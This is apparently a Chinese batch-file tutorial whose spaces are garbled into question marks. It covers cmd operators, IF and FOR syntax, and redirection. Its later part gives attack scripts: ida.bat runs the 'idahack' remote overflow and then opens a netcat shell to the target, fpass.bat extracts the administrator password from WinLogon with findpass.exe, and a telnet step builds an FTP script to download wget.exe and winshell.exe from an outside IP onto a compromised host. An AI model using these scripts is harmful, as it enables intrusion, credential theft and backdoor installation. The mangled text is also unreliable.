The?ampersand?(&),?pipe?(|),?and?parentheses?(?)?are?special?characters?that?must?be?preceded?by?the?escape?character?(^)?or?quotation?marks?when?you?pass?them?as?arguments.
find?"Pacific?Rim"?<?trade.txt?>?nwtrade.txt
IF?EXIST?filename.?(del?filename.)?ELSE?echo?filename.?missing
>?創建一個文件
>>?追加到一個文件后面
@?前綴字符.表示執行時本行在cmd里面不顯示,?可以使用?echo?off關閉顯示
^?對特殊符號(?>?<?&)的前導字符.?第一個只是顯示aaa?第二個輸出文件bbb
echo?123456?^>?aaa
echo?1231231?>?bbb
()?包含命令
(echo?aa?&?echo?bb)
,?和空格一樣的缺省分隔符號.
;?注釋,表示后面為注釋
:?標號作用
|?管道操作
&?Usage：第一條命令?&?第二條命令?[&?第三條命令...]
用這種方法可以同時執行多條命令，而不管命令是否執行成功
dir?c:\*.exe?&?dir?d:\*.exe?&?dir?e:\*.exe
&&?Usage：第一條命令?&&?第二條命令?[&&?第三條命令...]
當碰到執行出錯的命令后將不執行后面的命令，如果一直沒有出錯則一直執行完所有命令；
||?Usage：第一條命令?||?第二條命令?[||?第三條命令...]
當碰到執行正確的命令后將不執行后面的命令，如果沒有出現正確的命令則一直執行完所有命令；
常用語法格式
IF?[NOT]?ERRORLEVEL?number?command?para1?para2
IF?[NOT]?string1==string2?command?para1?para2
IF?[NOT]?EXIST?filename?command?para1?para2
IF?EXIST?filename?command?para1?para2
IF?NOT?EXIST?filename?command?para1?para2
IF?"%1"==""?goto?END
IF?"%1"=="net"?goto?NET
IF?NOT?"%2"=="net"?goto?OTHER
IF?ERRORLEVEL?1?command?para1?para2
IF?NOT?ERRORLEVEL?1?command?para1?para2
FOR?/L?%%i?IN?(start,step,end)?DO?command?[command-parameters]?%%i
FOR?/F?"eol=;?tokens=2,3*?delims=,?"?%i?in?(myfile.txt)?do?echo?%i?%j?%k
按照字母順序?ijklmnopq依次取參數.
eol=c?-?指一個行注釋字符的結尾(就一個)
skip=n?-?指在文件開始時忽略的行數。
delims=xxx?-?指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。
########################
4.?簡單批處理文件概念
########################
echo?This?is?test?>?a.txt
type?a.txt
echo?This?is?test?11111?>>?a.txt
type?a.txt
echo?This?is?test?22222?>?a.txt
type?a.txt
第二個echo是追加
第三個echo將清空a.txt?重新創建?a.txt
netstat?-n?|?find?"3389"
這個將要列出所有連接3389的用戶的ip.
________________test.bat______
@echo?please?care
echo?plese?care?1111
echo?plese?care?2222
echo?plese?care?3333
@echo?please?care
@echo?plese?care?1111
@echo?plese?care?2222
@echo?plese?care?3333
rem?不顯示注釋語句,本行顯示
@rem?不顯示注釋語句,本行不顯示
@if?exist?%windir%\system32\find.exe?(echo?Find?find.exe?!!!)?else?(echo?ERROR:?Not?find?find.exe)
@if?exist?%windir%\system32\fina.exe?(echo?Find?fina.exe?!!!)?else?(echo?ERROR:?Not?find?fina.exe)
_____________________________
下面我們以具體的一個idahack程序就是ida遠程溢出為例子.應該是很簡單的.
___________________ida.bat_____
@rem?ver?1.0
@if?NOT?exist?%windir%\system32\idahack.exe?echo?"ERROR:?dont?find?idahack.exe"
@if?NOT?exist?%windir%\system32\nc.exe?echo?"ERROR:?dont?find?nc.exe"
@if?"%1"?==""?goto?USAGE
@if?NOT?"%2"?==""?goto?SP2
:start
@echo?Now?start?...
@ping?%1
@echo?chinese?win2k:1?sp1:2?sp2:3
idahack.exe?%1?80?1?99?>%temp%\_tmp
@echo?"prog?exit?code?[%errorlevel%]?idahack.exe"
@type?%temp%\_tmp
@find?"good?luck?:)"?%temp%\_tmp
@echo?"prog?exit?code?[%errorlevel%]?find?[goog?luck]"
@if?NOT?errorlevel?1?nc.exe?%1?99
@goto?END
:SP2
@idahack.exe?%1?80?%2?99?%temp%\_tmp
@type?%temp%\_tmp
@find?"good?luck?:)"?%temp%\_tmp
@if?NOT?errorlevel?1?nc.exe?%1?99
@goto?END
:USAGE
@echo?Example:?ida.bat?IP
@echo?Example:?ida.bat?IP?(2,3)
:END
_____________________ida.bat__END_______
下面我們再來第二個文件.就是得到administrator的口令.
大多數人說得不到.其實是自己的沒有輸入正確的信息.
___________________________fpass.bat____________________________________________
@rem?ver?1.0
@if?NOT?exist?%windir%\system32\findpass.exe?echo?"ERROR:?dont?find?findpass.exe"
@if?NOT?exist?%windir%\system32\pulist.exe?echo?"ERROR:?dont?find?pulist.exe"
@echo?start....
@echo?____________________________________
@if?"%1"==""?goto?USAGE
@findpass.exe?%1?%2?%3?>>?%temp%\_findpass.txt
@echo?"prog?exit?code?[%errorlevel%]?findpass.exe"
@type?%temp%\_findpass.txt
@echo?________________________________Here__pass★★★★★★★★
@ipconfig?/all?>>%temp%\_findpass.txt
@goto?END
:USAGE
@pulist.exe?>%temp%\_pass.txt
@findstr.exe?/i?"WINLOGON?explorer?internat"?%temp%\_pass.txt
@echo?"Example:?fpass.bat?%1?%2?%3?%4?!!!"
@echo?"Usage:?findpass.exe?DomainName?UserName?PID-of-WinLogon"
:END
@echo?"?fpass.bat?%COMPUTERNAME%?%USERNAME%?administrator?"
@echo?"?fpass.bat?end?[%errorlevel%]?!"
_________________fpass.bat___END___________________________________________________________
還有一個就是已經通過telnet登陸了一個遠程主機.怎樣上傳文件(win)
依次在窗口輸入下面的東西.?當然了也可以全部拷貝.Ctrl+V過去.?然后就等待吧!!
echo?open?210.64.x.4?3396>w
echo?read>>w
echo?read>>w
echo?cd?winnt>>w
echo?binary>>w
echo?pwd?>>w
echo?get?wget.exe?>>w
echo?get?winshell.exe?>>w
echo?get?any.exe?>>w
echo?quit?>>w
?
總結
- 上一篇： 飞鸽传书简介
- 下一篇： 飞鸽传书：造假与成功